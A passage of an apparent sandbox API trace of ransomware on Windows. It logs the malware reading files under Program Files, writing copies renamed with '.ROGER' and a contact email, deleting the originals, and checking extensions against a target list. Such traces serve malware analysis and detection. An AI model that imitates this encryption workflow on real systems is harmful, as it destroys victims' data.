(hObject=0x3a0) returned 1 [0052.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0052.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.562] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.562] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.562] GetLastError () returned 0x0 [0052.562] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x18340, lpOverlapped=0x0) returned 1 [0052.566] WriteFile (in: hFile=0x340, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x18350, lpOverlapped=0x0) returned 1 [0052.568] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.568] WriteFile (in: hFile=0x340, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.568] SetEndOfFile (hFile=0x340) returned 1 [0052.568] CloseHandle (hObject=0x340) returned 1 [0052.568] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.568] SetEndOfFile (hFile=0x3a0) returned 1 [0052.570] CloseHandle (hObject=0x3a0) returned 1 [0052.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.570] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0052.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.570] lstrlenW (lpString=".doc") returned 4 [0052.570] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.570] lstrlenW (lpString=".docx") returned 5 [0052.570] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.570] lstrlenW (lpString=".pdf") returned 4 [0052.570] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.570] lstrlenW (lpString=".xls") returned 4 [0052.570] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.570] lstrlenW (lpString=".xlsx") returned 5 [0052.570] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.570] lstrlenW (lpString=".ppt") returned 4 [0052.570] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.570] lstrlenW (lpString=".zip") returned 4 [0052.570] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString=".rar") returned 4 [0052.571] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString=".bz2") returned 4 [0052.571] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.571] lstrlenW (lpString=".7z") returned 3 [0052.571] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.571] lstrlenW (lpString=".dbf") returned 4 [0052.571] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.571] lstrlenW (lpString=".1cd") returned 4 [0052.571] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.571] lstrlenW (lpString=".jpg") returned 4 [0052.571] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.571] lstrlenW (lpString=".doc") returned 4 [0052.571] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString=".docx") returned 5 [0052.571] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.571] lstrlenW (lpString=".pdf") returned 4 [0052.571] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString=".xls") returned 4 [0052.571] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString=".xlsx") returned 5 [0052.571] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.571] lstrlenW (lpString=".ppt") returned 4 [0052.571] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.571] lstrlenW (lpString=".zip") returned 4 [0052.571] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.571] lstrlenW (lpString=".rar") returned 4 [0052.572] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.572] lstrlenW (lpString=".bz2") returned 4 [0052.572] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.572] lstrlenW (lpString=".7z") returned 3 [0052.572] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.572] lstrlenW (lpString=".dbf") returned 4 [0052.572] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.572] lstrlenW (lpString=".1cd") returned 4 [0052.572] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.572] lstrlenW (lpString=".jpg") returned 4 [0052.572] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.572] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0052.572] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0052.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0053.114] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=629664) returned 1 [0053.114] CloseHandle (hObject=0x3dc) returned 1 [0053.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0053.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0053.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0053.114] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.114] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0053.115] GetLastError () returned 0x0 [0053.115] ReadFile (in: hFile=0x3dc, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0053.139] WriteFile (in: hFile=0x3a8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0053.149] ReadFile (in: hFile=0x3dc, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.149] WriteFile (in: hFile=0x3a8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.149] SetEndOfFile (hFile=0x3a8) returned 1 [0053.149] CloseHandle (hObject=0x3a8) returned 1 [0053.150] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.150] SetEndOfFile (hFile=0x3dc) returned 1 [0054.028] CloseHandle (hObject=0x3dc) returned 1 [0054.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.028] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0054.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.028] lstrlenW (lpString=".doc") returned 4 [0054.028] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.028] lstrlenW (lpString=".docx") returned 5 [0054.028] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.029] lstrlenW (lpString=".pdf") returned 4 [0054.029] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.029] lstrlenW (lpString=".xls") returned 4 [0054.029] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.029] lstrlenW (lpString=".xlsx") returned 5 [0054.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.029] lstrlenW (lpString=".ppt") returned 4 [0054.029] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.029] lstrlenW (lpString=".zip") returned 4 [0054.029] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.029] lstrlenW (lpString=".rar") returned 4 [0054.029] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.029] lstrlenW (lpString=".bz2") returned 4 [0054.029] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.029] lstrlenW (lpString=".7z") returned 3 [0054.029] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.029] lstrlenW (lpString=".dbf") returned 4 [0054.029] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.029] lstrlenW (lpString=".1cd") returned 4 [0054.029] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.029] lstrlenW (lpString=".jpg") returned 4 [0054.029] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.029] lstrlenW (lpString=".doc") returned 4 [0054.029] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.030] lstrlenW (lpString=".docx") returned 5 [0054.030] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.030] lstrlenW (lpString=".pdf") returned 4 [0054.030] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.030] lstrlenW (lpString=".xls") returned 4 [0054.030] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.030] lstrlenW (lpString=".xlsx") returned 5 [0054.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.030] lstrlenW (lpString=".ppt") returned 4 [0054.030] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.030] lstrlenW (lpString=".zip") returned 4 [0054.030] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.030] lstrlenW (lpString=".rar") returned 4 [0054.030] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.030] lstrlenW (lpString=".bz2") returned 4 [0054.030] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.030] lstrlenW (lpString=".7z") returned 3 [0054.030] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.030] lstrlenW (lpString=".dbf") returned 4 [0054.030] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.030] lstrlenW (lpString=".1cd") returned 4 [0054.030] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.030] lstrlenW (lpString=".jpg") returned 4 [0054.030] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.030] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0054.031] lstrlenW (lpString="VISFILT.DLL") returned 11 [0054.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0054.518] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=2124664) returned 1 [0054.518] CloseHandle (hObject=0x3d8) returned 1 [0054.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0054.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0054.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0054.521] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0054.521] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.521] ReadFile (in: hFile=0x3d8, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.524] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.526] ReadFile (in: hFile=0x3d8, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.530] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.530] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.530] ReadFile (in: hFile=0x3d8, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.552] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.552] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0055.609] SetEndOfFile (hFile=0x3d8) returned 1 [0055.611] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x53c0068 [0055.614] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.614] WriteFile (in: hFile=0x3d8, lpBuffer=0x53c0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x53c0068*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.615] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.615] WriteFile (in: hFile=0x3d8, lpBuffer=0x53c0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x53c0068*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.618] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.618] WriteFile (in: hFile=0x3d8, lpBuffer=0x53c0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x53c0068*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.619] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53c0068 | out: hHeap=0x790000) returned 1 [0055.619] CloseHandle (hObject=0x3d8) returned 1 [0055.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0055.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.622] lstrlenW (lpString=".doc") returned 4 [0055.622] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.622] lstrlenW (lpString=".docx") returned 5 [0055.622] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0055.622] lstrlenW (lpString=".pdf") returned 4 [0055.622] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.622] lstrlenW (lpString=".xls") returned 4 [0055.622] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.622] lstrlenW (lpString=".xlsx") returned 5 [0055.622] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0055.622] lstrlenW (lpString=".ppt") returned 4 [0055.622] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.622] lstrlenW (lpString=".zip") returned 4 [0055.622] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.622] lstrlenW (lpString=".rar") returned 4 [0055.622] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.622] lstrlenW (lpString=".bz2") returned 4 [0055.622] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.622] lstrlenW (lpString=".7z") returned 3 [0055.622] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.622] lstrlenW (lpString=".dbf") returned 4 [0055.622] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.623] lstrlenW (lpString=".1cd") returned 4 [0055.623] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.623] lstrlenW (lpString=".jpg") returned 4 [0055.623] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.623] lstrlenW (lpString=".doc") returned 4 [0055.623] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString=".docx") returned 5 [0055.623] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0055.623] lstrlenW (lpString=".pdf") returned 4 [0055.623] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString=".xls") returned 4 [0055.623] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString=".xlsx") returned 5 [0055.623] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0055.623] lstrlenW (lpString=".ppt") returned 4 [0055.623] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.623] lstrlenW (lpString=".zip") returned 4 [0055.623] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString=".rar") returned 4 [0055.623] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.623] lstrlenW (lpString=".bz2") returned 4 [0055.623] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.623] lstrlenW (lpString=".7z") returned 3 [0055.623] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.623] lstrlenW (lpString=".dbf") returned 4 [0055.623] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.624] lstrlenW (lpString=".1cd") returned 4 [0055.624] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0055.624] lstrlenW (lpString=".jpg") returned 4 [0055.624] lstrcmpiW (lpString1=".jpg", 